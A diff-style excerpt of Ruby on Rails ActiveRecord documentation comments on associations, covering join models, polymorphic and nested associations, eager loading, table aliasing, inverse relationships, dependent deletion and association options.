+ # above. In this case, you can access <tt>proxy_association</tt>. For example,
+ # <tt>record.association(:items)</tt> and <tt>record.items.proxy_association</tt> will return
+ # the same object, allowing you to make calls like <tt>proxy_association.owner</tt> inside
+ # association extensions.
+ #
+ # == Association Join Models
+ #
+ # Has Many associations can be configured with the <tt>:through</tt> option to use an
+ # explicit join model to retrieve the data. This operates similarly to a
+ # +has_and_belongs_to_many+ association. The advantage is that you're able to add validations,
+ # callbacks, and extra attributes on the join model. Consider the following schema:
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :authorships
+ # has_many :books, through: :authorships
+ # end
+ #
+ # class Authorship < ActiveRecord::Base
+ # belongs_to :author
+ # belongs_to :book
+ # end
+ #
+ # @author = Author.first
+ # @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to
+ # @author.books # selects all books by using the Authorship join model
+ #
+ # You can also go through a +has_many+ association on the join model:
+ #
+ # class Firm < ActiveRecord::Base
+ # has_many :clients
+ # has_many :invoices, through: :clients
+ # end
+ #
+ # class Client < ActiveRecord::Base
+ # belongs_to :firm
+ # has_many :invoices
+ # end
+ #
+ # class Invoice < ActiveRecord::Base
+ # belongs_to :client
+ # end
+ #
+ # @firm = Firm.first
+ # @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
+ # @firm.invoices # selects all invoices by going through the Client join model
+ #
+ # Similarly you can go through a +has_one+ association on the join model:
+ #
+ # class Group < ActiveRecord::Base
+ # has_many :users
+ # has_many :avatars, through: :users
+ # end
+ #
+ # class User < ActiveRecord::Base
+ # belongs_to :group
+ # has_one :avatar
+ # end
+ #
+ # class Avatar < ActiveRecord::Base
+ # belongs_to :user
+ # end
+ #
+ # @group = Group.first
+ # @group.users.collect { |u| u.avatar }.compact # select all avatars for all users in the group
+ # @group.avatars # selects all avatars by going through the User join model.
+ #
+ # An important caveat with going through +has_one+ or +has_many+ associations on the
+ # join model is that these associations are *read-only*. For example, the following
+ # would not work following the previous example:
+ #
+ # @group.avatars << Avatar.new # this would work if User belonged_to Avatar rather than the other way around
+ # @group.avatars.delete(@group.avatars.last) # so would this
+ #
+ # If you are using a +belongs_to+ on the join model, it is a good idea to set the
+ # <tt>:inverse_of</tt> option on the +belongs_to+, which will mean that the following example
+ # works correctly (where <tt>tags</tt> is a +has_many+ <tt>:through</tt> association):
+ #
+ # @post = Post.first
+ # @tag = @post.tags.build name: "ruby"
+ # @tag.save
+ #
+ # The last line ought to save the through record (a <tt>Taggable</tt>). This will only work if the
+ # <tt>:inverse_of</tt> is set:
+ #
+ # class Taggable < ActiveRecord::Base
+ # belongs_to :post
+ # belongs_to :tag, inverse_of: :taggings
+ # end
+ #
+ # == Nested Associations
+ #
+ # You can actually specify *any* association with the <tt>:through</tt> option, including an
+ # association which has a <tt>:through</tt> option itself. For example:
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # has_many :comments, through: :posts
+ # has_many :commenters, through: :comments
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :comments
+ # end
+ #
+ # class Comment < ActiveRecord::Base
+ # belongs_to :commenter
+ # end
+ #
+ # @author = Author.first
+ # @author.commenters # => People who commented on posts written by the author
+ #
+ # An equivalent way of setting up this association this would be:
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # has_many :commenters, through: :posts
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :comments
+ # has_many :commenters, through: :comments
+ # end
+ #
+ # class Comment < ActiveRecord::Base
+ # belongs_to :commenter
+ # end
+ #
+ # When using nested association, you will not be able to modify the association because there
+ # is not enough information to know what modification to make. For example, if you tried to
+ # add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
+ # intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
+ #
+ # == Polymorphic Associations
+ #
+ # Polymorphic associations on models are not restricted on what types of models they
+ # can be associated with. Rather, they specify an interface that a +has_many+ association
+ # must adhere to.
+ #
+ # class Asset < ActiveRecord::Base
+ # belongs_to :attachable, polymorphic: true
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :assets, as: :attachable # The :as option specifies the polymorphic interface to use.
+ # end
+ #
+ # @asset.attachable = @post
+ #
+ # This works by using a type column in addition to a foreign key to specify the associated
+ # record. In the Asset example, you'd need an +attachable_id+ integer column and an
+ # +attachable_type+ string column.
+ #
+ # Using polymorphic associations in combination with single table inheritance (STI) is
+ # a little tricky. In order for the associations to work as expected, ensure that you
+ # store the base model for the STI models in the type column of the polymorphic
+ # association. To continue with the asset example above, suppose there are guest posts
+ # and member posts that use the posts table for STI. In this case, there must be a +type+
+ # column in the posts table.
+ #
+ # class Asset < ActiveRecord::Base
+ # belongs_to :attachable, polymorphic: true
+ #
+ # def attachable_type=(sType)
+ # super(sType.to_s.classify.constantize.base_class.to_s)
+ # end
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # # because we store "Post" in attachable_type now dependent: :destroy will work
+ # has_many :assets, as: :attachable, dependent: :destroy
+ # end
+ #
+ # class GuestPost < Post
+ # end
+ #
+ # class MemberPost < Post
+ # end
+ #
+ # == Caching
+ #
+ # All of the methods are built on a simple caching principle that will keep the result
+ # of the last query around unless specifically instructed not to. The cache is even
+ # shared across methods to make it even cheaper to use the macro-added methods without
+ # worrying too much about performance at the first go.
+ #
+ # project.milestones # fetches milestones from the database
+ # project.milestones.size # uses the milestone cache
+ # project.milestones.empty? # uses the milestone cache
+ # project.milestones(true).size # fetches milestones from the database
+ # project.milestones # uses the milestone cache
+ #
+ # == Eager loading of associations
+ #
+ # Eager loading is a way to find objects of a certain class and a number of named associations.
+ # This is one of the easiest ways of to prevent the dreaded 1+N problem in which fetching 100
+ # posts that each need to display their author triggers 101 database queries. Through the
+ # use of eager loading, the 101 queries can be reduced to 2.
+ #
+ # class Post < ActiveRecord::Base
+ # belongs_to :author
+ # has_many :comments
+ # end
+ #
+ # Consider the following loop using the class above:
+ #
+ # Post.all.each do |post|
+ # puts "Post: " + post.title
+ # puts "Written by: " + post.author.name
+ # puts "Last comment on: " + post.comments.first.created_on
+ # end
+ #
+ # To iterate over these one hundred posts, we'll generate 201 database queries. Let's
+ # first just optimize it for retrieving the author:
+ #
+ # Post.includes(:author).each do |post|
+ #
+ # This references the name of the +belongs_to+ association that also used the <tt>:author</tt>
+ # symbol. After loading the posts, find will collect the +author_id+ from each one and load
+ # all the referenced authors with one query. Doing so will cut down the number of queries
+ # from 201 to 102.
+ #
+ # We can improve upon the situation further by referencing both associations in the finder with:
+ #
+ # Post.includes(:author, :comments).each do |post|
+ #
+ # This will load all comments with a single query. This reduces the total number of queries
+ # to 3. More generally the number of queries will be 1 plus the number of associations
+ # named (except if some of the associations are polymorphic +belongs_to+ - see below).
+ #
+ # To include a deep hierarchy of associations, use a hash:
+ #
+ # Post.includes(:author, {comments: {author: :gravatar}}).each do |post|
+ #
+ # That'll grab not only all the comments but all their authors and gravatar pictures.
+ # You can mix and match symbols, arrays and hashes in any combination to describe the
+ # associations you want to load.
+ #
+ # All of this power shouldn't fool you into thinking that you can pull out huge amounts
+ # of data with no performance penalty just because you've reduced the number of queries.
+ # The database still needs to send all the data to Active Record and it still needs to
+ # be processed. So it's no catch-all for performance problems, but it's a great way to
+ # cut down on the number of queries in a situation as the one described above.
+ #
+ # Since only one table is loaded at a time, conditions or orders cannot reference tables
+ # other than the main one. If this is the case Active Record falls back to the previously
+ # used LEFT OUTER JOIN based strategy. For example
+ #
+ # Post.includes([:author, :comments]).where(['comments.approved = ?', true])
+ #
+ # This will result in a single SQL query with joins along the lines of:
+ # <tt>LEFT OUTER JOIN comments ON comments.post_id = posts.id</tt> and
+ # <tt>LEFT OUTER JOIN authors ON authors.id = posts.author_id</tt>. Note that using conditions
+ # like this can have unintended consequences.
+ # In the above example posts with no approved comments are not returned at all, because
+ # the conditions apply to the SQL statement as a whole and not just to the association.
+ # You must disambiguate column references for this fallback to happen, for example
+ # <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
+ #
+ # If you do want eager load only some members of an association it is usually more natural
+ # to include an association which has conditions defined on it:
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :approved_comments, -> { where approved: true }, class_name: 'Comment'
+ # end
+ #
+ # Post.includes(:approved_comments)
+ #
+ # This will load posts and eager load the +approved_comments+ association, which contains
+ # only those comments that have been approved.
+ #
+ # If you eager load an association with a specified <tt>:limit</tt> option, it will be ignored,
+ # returning all the associated objects:
+ #
+ # class Picture < ActiveRecord::Base
+ # has_many :most_recent_comments, -> { order('id DESC').limit(10) }, class_name: 'Comment'
+ # end
+ #
+ # Picture.includes(:most_recent_comments).first.most_recent_comments # => returns all associated comments.
+ #
+ # Eager loading is supported with polymorphic associations.
+ #
+ # class Address < ActiveRecord::Base
+ # belongs_to :addressable, polymorphic: true
+ # end
+ #
+ # A call that tries to eager load the addressable model
+ #
+ # Address.includes(:addressable)
+ #
+ # This will execute one query to load the addresses and load the addressables with one
+ # query per addressable type.
+ # For example if all the addressables are either of class Person or Company then a total
+ # of 3 queries will be executed. The list of addressable types to load is determined on
+ # the back of the addresses loaded. This is not supported if Active Record has to fallback
+ # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError.
+ # The reason is that the parent model's type is a column value so its corresponding table
+ # name cannot be put in the +FROM+/+JOIN+ clauses of that query.
+ #
+ # == Table Aliasing
+ #
+ # Active Record uses table aliasing in the case that a table is referenced multiple times
+ # in a join. If a table is referenced only once, the standard table name is used. The
+ # second time, the table is aliased as <tt>#{reflection_name}_#{parent_table_name}</tt>.
+ # Indexes are appended for any more successive uses of the table name.
+ #
+ # Post.joins(:comments)
+ # # => SELECT ... FROM posts INNER JOIN comments ON ...
+ # Post.joins(:special_comments) # STI
+ # # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
+ # Post.joins(:comments, :special_comments) # special_comments is the reflection name, posts is the parent table name
+ # # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
+ #
+ # Acts as tree example:
+ #
+ # TreeMixin.joins(:children)
+ # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+ # TreeMixin.joins(children: :parent)
+ # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+ # INNER JOIN parents_mixins ...
+ # TreeMixin.joins(children: {parent: :children})
+ # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+ # INNER JOIN parents_mixins ...
+ # INNER JOIN mixins childrens_mixins_2
+ #
+ # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix:
+ #
+ # Post.joins(:categories)
+ # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+ # Post.joins(categories: :posts)
+ # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+ # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+ # Post.joins(categories: {posts: :categories})
+ # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+ # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+ # INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
+ #
+ # If you wish to specify your own custom joins using <tt>joins</tt> method, those table
+ # names will take precedence over the eager associations:
+ #
+ # Post.joins(:comments).joins("inner join comments ...")
+ # # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
+ # Post.joins(:comments, :special_comments).joins("inner join comments ...")
+ # # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
+ # INNER JOIN comments special_comments_posts ...
+ # INNER JOIN comments ...
+ #
+ # Table aliases are automatically truncated according to the maximum length of table identifiers
+ # according to the specific database.
+ #
+ # == Modules
+ #
+ # By default, associations will look for objects within the current module scope. Consider:
+ #
+ # module MyApplication
+ # module Business
+ # class Firm < ActiveRecord::Base
+ # has_many :clients
+ # end
+ #
+ # class Client < ActiveRecord::Base; end
+ # end
+ # end
+ #
+ # When <tt>Firm#clients</tt> is called, it will in turn call
+ # <tt>MyApplication::Business::Client.find_all_by_firm_id(firm.id)</tt>.
+ # If you want to associate with a class in another module scope, this can be done by
+ # specifying the complete class name.
+ #
+ # module MyApplication
+ # module Business
+ # class Firm < ActiveRecord::Base; end
+ # end
+ #
+ # module Billing
+ # class Account < ActiveRecord::Base
+ # belongs_to :firm, class_name: "MyApplication::Business::Firm"
+ # end
+ # end
+ # end
+ #
+ # == Bi-directional associations
+ #
+ # When you specify an association there is usually an association on the associated model
+ # that specifies the same relationship in reverse. For example, with the following models:
+ #
+ # class Dungeon < ActiveRecord::Base
+ # has_many :traps
+ # has_one :evil_wizard
+ # end
+ #
+ # class Trap < ActiveRecord::Base
+ # belongs_to :dungeon
+ # end
+ #
+ # class EvilWizard < ActiveRecord::Base
+ # belongs_to :dungeon
+ # end
+ #
+ # The +traps+ association on +Dungeon+ and the +dungeon+ association on +Trap+ are
+ # the inverse of each other and the inverse of the +dungeon+ association on +EvilWizard+
+ # is the +evil_wizard+ association on +Dungeon+ (and vice-versa). By default,
+ # Active Record doesn't know anything about these inverse relationships and so no object
+ # loading optimization is possible. For example:
+ #
+ # d = Dungeon.first
+ # t = d.traps.first
+ # d.level == t.dungeon.level # => true
+ # d.level = 10
+ # d.level == t.dungeon.level # => false
+ #
+ # The +Dungeon+ instances +d+ and <tt>t.dungeon</tt> in the above example refer to
+ # the same object data from the database, but are actually different in-memory copies
+ # of that data. Specifying the <tt>:inverse_of</tt> option on associations lets you tell
+ # Active Record about inverse relationships and it will optimise object loading. For
+ # example, if we changed our model definitions to:
+ #
+ # class Dungeon < ActiveRecord::Base
+ # has_many :traps, inverse_of: :dungeon
+ # has_one :evil_wizard, inverse_of: :dungeon
+ # end
+ #
+ # class Trap < ActiveRecord::Base
+ # belongs_to :dungeon, inverse_of: :traps
+ # end
+ #
+ # class EvilWizard < ActiveRecord::Base
+ # belongs_to :dungeon, inverse_of: :evil_wizard
+ # end
+ #
+ # Then, from our code snippet above, +d+ and <tt>t.dungeon</tt> are actually the same
+ # in-memory instance and our final <tt>d.level == t.dungeon.level</tt> will return +true+.
+ #
+ # There are limitations to <tt>:inverse_of</tt> support:
+ #
+ # * does not work with <tt>:through</tt> associations.
+ # * does not work with <tt>:polymorphic</tt> associations.
+ # * for +belongs_to+ associations +has_many+ inverse associations are ignored.
+ #
+ # == Deleting from associations
+ #
+ # === Dependent associations
+ #
+ # +has_many+, +has_one+ and +belongs_to+ associations support the <tt>:dependent</tt> option.
+ # This allows you to specify that associated records should be deleted when the owner is
+ # deleted.
+ #
+ # For example:
+ #
+ # class Author
+ # has_many :posts, dependent: :destroy
+ # end
+ # Author.find(1).destroy # => Will destroy all of the author's posts, too
+ #
+ # The <tt>:dependent</tt> option can have different values which specify how the deletion
+ # is done. For more information, see the documentation for this option on the different
+ # specific association types. When no option is given, the behavior is to do nothing
+ # with the associated records when destroying a record.
+ #
+ # Note that <tt>:dependent</tt> is implemented using Rails' callback
+ # system, which works by processing callbacks in order. Therefore, other
+ # callbacks declared either before or after the <tt>:dependent</tt> option
+ # can affect what it does.
+ #
+ # === Delete or destroy?
+ #
+ # +has_many+ and +has_and_belongs_to_many+ associations have the methods <tt>destroy</tt>,
+ # <tt>delete</tt>, <tt>destroy_all</tt> and <tt>delete_all</tt>.
+ #
+ # For +has_and_belongs_to_many+, <tt>delete</tt> and <tt>destroy</tt> are the same: they
+ # cause the records in the join table to be removed.
+ #
+ # For +has_many+, <tt>destroy</tt> and <tt>destroy_all</tt> will always call the <tt>destroy</tt> method of the
+ # record(s) being removed so that callbacks are run. However <tt>delete</tt> and <tt>delete_all</tt> will either
+ # do the deletion according to the strategy specified by the <tt>:dependent</tt> option, or
+ # if no <tt>:dependent</tt> option is given, then it will follow the default strategy.
+ # The default strategy is <tt>:nullify</tt> (set the foreign keys to <tt>nil</tt>), except for
+ # +has_many+ <tt>:through</tt>, where the default strategy is <tt>delete_all</tt> (delete
+ # the join records, without running their callbacks).
+ #
+ # There is also a <tt>clear</tt> method which is the same as <tt>delete_all</tt>, except that
+ # it returns the association rather than the records which have been deleted.
+ #
+ # === What gets deleted?
+ #
+ # There is a potential pitfall here: +has_and_belongs_to_many+ and +has_many+ <tt>:through</tt>
+ # associations have records in join tables, as well as the associated records. So when we
+ # call one of these deletion methods, what exactly should be deleted?
+ #
+ # The answer is that it is assumed that deletion on an association is about removing the
+ # <i>link</i> between the owner and the associated object(s), rather than necessarily the
+ # associated objects themselves. So with +has_and_belongs_to_many+ and +has_many+
+ # <tt>:through</tt>, the join records will be deleted, but the associated records won't.
+ #
+ # This makes sense if you think about it: if you were to call <tt>post.tags.delete(Tag.find_by(name: 'food'))</tt>
+ # you would want the 'food' tag to be unlinked from the post, rather than for the tag itself
+ # to be removed from the database.
+ #
+ # However, there are examples where this strategy doesn't make sense. For example, suppose
+ # a person has many projects, and each project has many tasks. If we deleted one of a person's
+ # tasks, we would probably not want the project to be deleted. In this scenario, the delete method
+ # won't actually work: it can only be used if the association on the join model is a
+ # +belongs_to+. In other situations you are expected to perform operations directly on
+ # either the associated records or the <tt>:through</tt> association.
+ #
+ # With a regular +has_many+ there is no distinction between the "associated records"
+ # and the "link", so there is only one choice for what gets deleted.
+ #
+ # With +has_and_belongs_to_many+ and +has_many+ <tt>:through</tt>, if you want to delete the
+ # associated records themselves, you can always do something along the lines of
+ # <tt>person.tasks.each(&:destroy)</tt>.
+ #
+ # == Type safety with <tt>ActiveRecord::AssociationTypeMismatch</tt>
+ #
+ # If you attempt to assign an object to an association that doesn't match the inferred
+ # or specified <tt>:class_name</tt>, you'll get an <tt>ActiveRecord::AssociationTypeMismatch</tt>.
+ #
+ # == Options
+ #
+ # All of the association macros can be specialized through options. This makes cases
+ # more complex than the simple and guessable ones possible.
+ module ClassMethods
+ # Specifies a one-to-many association. The following methods for retrieval and query of
+ # collections of associated objects will be added:
+ #
+ # [collection(force_reload = false)]
+ # Returns an array of all the associated objects.
+ # An empty array is returned if none are found.
+ # [collection<<(object, ...)]
+ # Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
+ # Note that this operation instantly fires update sql without waiting for the save or update call on the
+ # parent object, unless the parent object is a new record.
+ # [collection.delete(object, ...)]
+ # Removes one or more objects from the collection by setting their foreign keys to +NULL+.
+ # Objects will be in addition destroyed if they're associated with <tt>dependent: :destroy</tt>,
+ # and deleted if they're associated with <tt>dependent: :delete_all</tt>.
+ #
+ # If the <tt>:through</tt> option is used, then the join records are deleted (rather than
+ # nullified) by default, but you can specify <tt>dependent: :destroy</tt> or
+ # <tt>dependent: :nullify</tt> to override this.
+ # [collection.destroy(object, ...)]
+ # Removes one or more objects from the collection by running <tt>destroy</tt> on
+ # each record, regardless of any dependent option, ensuring callbacks are run.
+ #
+ # If the <tt>:through</tt> option is used, then the join records are destroyed
+ # instead, not the objects themselves.
+ # [collection=objects]
+ # Replaces the collections content by deleting and adding objects as appropriate. If the <tt>:through</tt>
+ # option is true callbacks in the join models are triggered except destroy callbacks, since deletion is
+ # direct.
+ # [collection_singular_ids]
+ # Returns an array of the associated objects' ids
+ # [collection_singular_ids=ids]
+ # Replace the collection with the objects identified by the primary keys in +ids+. This
+ # method loads the models and calls <tt>collection=</tt>. See above.
+ # [collection.clear]
+ # Removes every object from the collection. This destroys the associated objects if they
+ # are associated with <tt>dependent: :destroy</tt>, deletes them directly from the
+ # database if <tt>dependent: :delete_all</tt>, otherwise sets their foreign keys to +NULL+.
+ # If the <tt>:through</tt> option is true no destroy callbacks are invoked on the join models.
+ # Join models are directly deleted.
+ # [collection.empty?]
+ # Returns +true+ if there are no associated objects.
+ # [collection.size]
+ # Returns the number of associated objects.
+ # [collection.find(...)]
+ # Finds an associated object according to the same rules as ActiveRecord::Base.find.
+ # [collection.exists?(...)]
+ # Checks whether an associated object with the given conditions exists.

+ # [collection.build(attributes = {}, ...)]
+ # Returns one or more new objects of the collection type that have been instantiated

+ # [collection.create(attributes = {})]
+ # Returns a new object of the collection type that has been instantiated

+ # been saved (if it passed the validation). *Note*: This only works if the base model
+ # already exists in the DB, not if it is a new (unsaved) record!
+ # [collection.create!(attributes = {})]
+ # Does the same as <tt>collection.create</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
+ # if the record is invalid.
+ #
+ # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so

+ #
+ # === Example
+ #
+ # Example: A Firm class declares <tt>has_many :clients</tt>, which will add:

+ # The declaration can also include an options hash to specialize the behavior of the association.
+ #
+ # === Options
+ # [:class_name]
+ # Specify the class name of the association. Use it only if that name can't be inferred
+ # from the association name. So <tt>has_many :products</tt> will by default be linked
+ # to the Product class, but if the real class name is SpecialProduct, you'll have to
+ # specify it with this option.
+ # [:foreign_key]
+ # Specify the foreign key used for the association. By default this is guessed to be the name
+ # of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+
+ # association will use "person_id" as the default <tt>:foreign_key</tt>.
+ # [:primary_key]
+ # Specify the method that returns the primary key used for the association. By default this is +id+.
+ # [:dependent]
+ # Controls what happens to the associated objects when
+ # their owner is destroyed. Note that these are implemented as
+ # callbacks, and Rails executes callbacks in order. Therefore, other
+ # similar callbacks may affect the :dependent behavior, and the
+ # :dependent behavior may affect other callbacks.
+ #
+ # * <tt>:destroy</tt> causes all the associated objects to also be destroyed.
+ # * <tt>:delete_all</tt> causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).
+ # * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Callbacks are not executed.
+ # * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records.
+ # * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects.
+ #
+ # If using with the <tt>:through</tt> option, the association on the join model must be
+ # a +belongs_to+, and the records which get deleted are the join records, rather than
+ # the associated records.
+ # [:counter_cache]
+ # This option can be used to configure a custom named <tt>:counter_cache.</tt> You only need this option,
+ # when you customized the name of your <tt>:counter_cache</tt> on the <tt>belongs_to</tt> association.
+ # [:as]
+ # Specifies a polymorphic interface (See <tt>belongs_to</tt>).
+ # [:through]
+ # Specifies an association through which to perform the query. This can be any other type
+ # of association, including other <tt>:through</tt> associations. Options for <tt>:class_name</tt>,
+ # <tt>:primary_key</tt> and <tt>:foreign_key</tt> are ignored, as the association uses the
+ # source reflection.
+ #
+ # If the association on the join model is a +belongs_to+, the collection can be modified
+ # and the records on the <tt>:through</tt> model will be automatically created and removed
+ # as appropriate. Otherwise, the collection is read-only, so you should manipulate the
+ # <tt>:through</tt> association directly.
+ #
+ # If you are going to modify the association (rather than just read from it), then it is
+ # a good idea to set the <tt>:inverse_of</tt> option on the source association on the
+ # join model. This allows associated records to be built which will automatically create
+ # the appropriate join model records when they are saved. (See the 'Association Join Models'
+ # section above.)
+ # [:source]
+ # Specifies the source association name used by <tt>has_many :through</tt> queries.
+ # Only use it if the name cannot be inferred from the association.
+ # <tt>has_many :subscribers, through: :subscriptions</tt> will look for either <tt>:subscribers</tt> or
+ # <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given.
+ # [:source_type]
+ # Specifies type of the source association used by <tt>has_many :through</tt> queries where the source
+ # association is a polymorphic +belongs_to+.
+ # [:validate]
+ # If +false+, don't validate the associated objects when saving the parent object. true by default.
+ # [:autosave]
+ # If true, always save the associated objects or destroy them if marked for destruction,
+ # when saving the parent object. If false, never save or destroy the associated objects.
+ # By default, only save associated objects that are new records. This option is implemented as a
+ # before_save callback. Because callbacks are run in the order they are defined, associated objects
+ # may need to be explicitly saved in any user-defined before_save callbacks.
+ #
+ # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+ # [:inverse_of]
+ # Specifies the name of the <tt>belongs_to</tt> association on the associated object
+ # that is the inverse of this <tt>has_many</tt> association. Does not work in combination
+ # with <tt>:through</tt> or <tt>:as</tt> options.
+ # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.

+ # Option examples:
+ # has_many :comments, -> { order "posted_on" }

+ # association will use "person_id" as the default <tt>:foreign_key</tt>. Similarly,

+ # [:primary_key]
+ # Specify the method that returns the primary key of associated object used for the association.

+ # orphaned records behind.
+ # [:counter_cache]
+ # Caches the number of belonging objects on the associate class through the use of +increment_counter+
+ # and +decrement_counter+. The counter cache is incremented when an object of this
+ # class is created and decremented when it's destroyed. This requires that a column
+ # named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
+ # is used on the associate class (such as a Post class) - that is the migration for
+ # <tt>#{table_name}_count</tt> is created on the associate class (such that Post.comments_count will
+ # return the count cached, see note below). You can also specify a custom counter
+ # cache column by providing a column name instead of a +true+/+false+ value to this
+ # option (e.g., <tt>counter_cache: :my_custom_counter</tt>.)
+ # Note: Specifying a counter cache will add it to that model's list of readonly attributes
+ # using +attr_readonly+.
+ # [:polymorphic]
+ # Specify this association is a polymorphic association by passing +true+.
+ # Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
+ # to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
+ # [:validate]
+ # If +false+, don't validate the associated objects when saving the parent object. +false+ by default.
+ # [:autosave]
+ # If true, always save the associated object or destroy it if marked for destruction, when

+ # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+ # [:touch]
+ # If true, the associated object will be touched (the updated_at/on attributes set to now)
+ # when this record is either saved or destroyed. If you specify a symbol, that attribute
+ # will be updated with the current time in addition to the updated_at/on attribute.
+ # [:inverse_of]
+ # Specifies the name of the <tt>has_one</tt> or <tt>has_many</tt> association on the associated
+ # object that is the inverse of this <tt>belongs_to</tt> association. Does not work in
+ # combination with the <tt>:polymorphic</tt> options.

+
+ # Specifies a many-to-many relationship with another class. This associates two classes via an
+ # intermediate join table. Unless the join table is explicitly specified as an option, it is
+ # guessed using the lexical order of the class names. So a join between Developer and Project
+ # will give the default join table name of "developers_projects" because "D" precedes "P" alphabetically.
+ # Note that this precedence is calculated using the <tt><</tt> operator for String. This
+ # means that if the strings are of different lengths, and the strings are equal when compared
+ # up to the shortest length, then the longer string is considered of higher
+ # lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers"
+ # to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes",
+ # but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the
+ # custom <tt>:join_table</tt> option if you need to.
+ # If your tables share a common prefix, it will only appear once at the beginning. For example,
+ # the tables "catalog_categories" and "catalog_products" generate a join table name of "catalog_categories_products".
+ #
+ # The join table should not have a primary key or a model associated with it. You must manually generate the
+ # join table with a migration such as this:
+ #
+ # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration
+ # def change
+ # create_table :developers_projects, id: false do |t|
+ # t.integer :developer_id
+ # t.integer :project_id
+ # end
+ # end
+ # end
+ #
+ # It's also a good idea to add indexes to each of those columns to speed up the joins process.
+ # However, in MySQL it is advised to add a compound index for both of the columns as MySQL only
+ # uses one index per table during the lookup.
+ #
+ # Adds the following methods for retrieval and query:
+ #
+ # [collection(force_reload = false)]
+ # Returns an array of all the associated objects.
+ # An empty array is returned if none are found.
+ # [collection<<(object, ...)]
+ # Adds one or more objects to the collection by creating associations in the join table
+ # (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
+ # Note that this operation instantly fires update sql without waiting for the save or update call on the
+ # parent object, unless the parent object is a new record.
+ # [collection.delete(object, ...)]
+ # Removes one or more objects from the collection by removing their associations from the join table.
+ # This does not destroy the objects.
+ # [collection.destroy(object, ...)]
+ # Removes one or more objects from the collection by running destroy on each association in the join table, overriding any dependent option.
+ # This does not destroy the objects.
+ # [collection=objects]
+ # Replaces the collection's content by deleting and adding objects as appropriate.
+ # [collection_singular_ids]

+ # Association proxies in Active Record are middlemen between the object that
+ # holds the association, known as the <tt>@owner</tt>, and the actual associated
+ # object, known as the <tt>@target</tt>. The kind of association any proxy is
+ # about is available in <tt>@reflection</tt>. That's an instance of the class
+ # ActiveRecord::Reflection::AssociationReflection.
+ #
+ # For example, given
+ #
+ # class Blog < ActiveRecord::Base
+ # has_many :posts
+ # end
+ #
+ # blog = Blog.first
+ #
+ # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
+ # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
+ # the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
+ #
+ # This class delegates unknown methods to <tt>@target</tt> via
+ # <tt>method_missing</tt>.
+ #
+ # The <tt>@target</tt> object is not \loaded until needed. For example,
+ #
+ # blog.posts.count
+ #
+ # is computed directly through SQL and does not trigger by itself the
+ # instantiation of the actual post records.

+ # Implements the details of eager loading of Active Record associations.
+ #
+ # Note that 'eager loading' and 'preloading' are actually the same thing.
+ # However, there are two different eager loading strategies.
+ #
+ # The first one is by using table joins. This was only strategy available
+ # prior to Rails 2.1. Suppose that you have an Author model with columns
+ # 'name' and 'age', and a Book model with columns 'name' and 'sales'. Using
+ # this strategy, Active Record would try to retrieve all data for an author
+ # and all of its books via a single query:
+ #
+ # SELECT * FROM authors
+ # LEFT OUTER JOIN books ON authors.id = books.author_id
+ # WHERE authors.name = 'Ken Akamatsu'
+ #
+ # However, this could result in many rows that contain redundant data. After
+ # having received the first row, we already have enough data to instantiate
+ # the Author object. In all subsequent rows, only the data for the joined
+ # 'books' table is useful; the joined 'authors' data is just redundant, and
+ # processing this redundant data takes memory and CPU time. The problem
+ # quickly becomes worse and worse as the level of eager loading increases
+ # (i.e. if Active Record is to eager load the associations' associations as
+ # well).
+ #
+ # The second strategy is to use multiple database queries, one for each
